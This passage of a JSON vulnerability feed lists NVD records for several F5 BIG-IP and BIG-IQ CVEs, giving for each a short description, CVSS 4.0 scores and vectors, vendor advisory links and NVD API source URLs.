role can modify configuration objects resulting...","summary":"A vulnerability exists in BIG-IP systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can modify configuration objects resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in BIG-IP systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can modify configuration objects resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:45.473Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41953","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41953","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41953","type":"primary","publishedAt":"2026-05-13T16:16:45.473Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160975","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41227","cveId":"CVE-2026-41227","aliases":[],"kind":"vulnerability","title":"On an HTTP/2 virtual server with Layer 7 DoS Protection configured, undisclosed traffic can result in an increase in memory consumption causing the Traffic Management Microkernel...","summary":"On an HTTP/2 virtual server with Layer 7 DoS Protection configured, undisclosed traffic can result in an increase in memory consumption causing the Traffic Management Microkernel (TMM) process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"On an HTTP/2 virtual server with Layer 7 DoS Protection configured, undisclosed traffic can result in an increase in memory consumption causing the Traffic Management Microkernel (TMM) process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:44.920Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip advanced web application firewall","stacks":["F5 BIG-IP","big-ip advanced web application firewall"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41227","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41227","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41227","type":"primary","publishedAt":"2026-05-13T16:16:44.920Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000158979","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41225","cveId":"CVE-2026-41225","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in iControl REST where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running...","summary":"A vulnerability exists in iControl REST where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running arbitrary commands.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in iControl REST where a highly privileged, authenticated attacker with at least the Manager role can create configuration objects that allow running arbitrary commands.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:44.777Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41225","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41225","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41225","type":"primary","publishedAt":"2026-05-13T16:16:44.777Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160916","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41219","cveId":"CVE-2026-41219","aliases":[],"kind":"vulnerability","title":"An improper sanitization vulnerability exists in the BIG-IP QKView utility that allows a low-privileged attacker to read sensitive information from a QKView file.","summary":"An improper sanitization vulnerability exists in the BIG-IP QKView utility that allows a low-privileged attacker to read sensitive information from a QKView file.  \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated","detail":"An improper sanitization vulnerability exists in the BIG-IP QKView utility that allows a low-privileged attacker to read sensitive information from a QKView file.  \n\n\nNote: Software versions which have reached End of Technical Support (EoTS) are not evaluated\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:44.620Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41219","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41219","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41219","type":"primary","publishedAt":"2026-05-13T16:16:44.620Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000157895","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41218","cveId":"CVE-2026-41218","aliases":[],"kind":"vulnerability","title":"When BIG-IP PEM iRules are configured on a virtual server (iRules using commands starting with CLASSIFICATION::, CLASSIFY::, PEM::, PSC::, and the urlcatquery command),...","summary":"When BIG-IP PEM iRules are configured on a virtual server (iRules using commands starting with CLASSIFICATION::, CLASSIFY::, PEM::, PSC::, and the urlcatquery command), undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"When BIG-IP PEM iRules are configured on a virtual server (iRules using commands starting with CLASSIFICATION::, CLASSIFY::, PEM::, PSC::, and the urlcatquery command), undisclosed traffic can cause the Traffic Management Microkernel (TMM) to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:44.473Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41218","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41218","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41218","type":"primary","publishedAt":"2026-05-13T16:16:44.473Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160875","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41217","cveId":"CVE-2026-41217","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in an undisclosed BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with resource administrator or administrator role to execute...","summary":"A vulnerability exists in an undisclosed BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with resource administrator or administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in an undisclosed BIG-IP TMOS Shell (tmsh) command that may allow an authenticated attacker with resource administrator or administrator role to execute arbitrary system commands with higher privileges. In Appliance mode deployments, a successful exploit can allow the attacker to cross a security boundary.\n\n Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:44.340Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41217","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41217","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41217","type":"primary","publishedAt":"2026-05-13T16:16:44.340Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000161107","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40699","cveId":"CVE-2026-40699","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in the undisclosed pages in the Configuration utility that may allow a low-privileged authenticated attacker to access to undisclosed sensitive information.","summary":"A vulnerability exists in the undisclosed pages in the Configuration utility that may allow a low-privileged authenticated attacker to access to undisclosed sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in the undisclosed pages in the Configuration utility that may allow a low-privileged authenticated attacker to access to undisclosed sensitive information.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:43.730Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40699","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40699","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40699","type":"primary","publishedAt":"2026-05-13T16:16:43.730Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000156734","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40698","cveId":"CVE-2026-40698","aliases":[],"kind":"vulnerability","title":"A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can create SNMP configuration...","summary":"A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can create SNMP configuration objects through iControl REST or the TMOS shell (tmsh) resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"A vulnerability exists in BIG-IP and BIG-IQ systems where a highly privileged, authenticated attacker with at least the Resource Administrator role can create SNMP configuration objects through iControl REST or the TMOS shell (tmsh) resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:43.593Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40698","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40698","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40698","type":"primary","publishedAt":"2026-05-13T16:16:43.593Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160981","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40631","cveId":"CVE-2026-40631","aliases":[],"kind":"vulnerability","title":"An authenticated attacker with the Resource Administrator or Administrator role can modify configuration objects through iControl SOAP resulting in privilege escalation.","summary":"An authenticated attacker with the Resource Administrator or Administrator role can modify configuration objects through iControl SOAP resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.","detail":"An authenticated attacker with the Resource Administrator or Administrator role can modify configuration objects through iControl SOAP resulting in privilege escalation.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-13T16:16:43.417Z","updatedAt":"2026-10-26T17:10:03.270Z","regions":["Global"],"vendor":"f5","product":"big-ip access policy manager","stacks":["F5 BIG-IP","big-ip access policy manager"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40631","asOf":"2026-10-26T17:10:03.270Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40631","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40631","type":"primary","publishedAt":"2026-05-13T16:16:43.417Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://my.f5.com/manage/s/article/K000160979","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 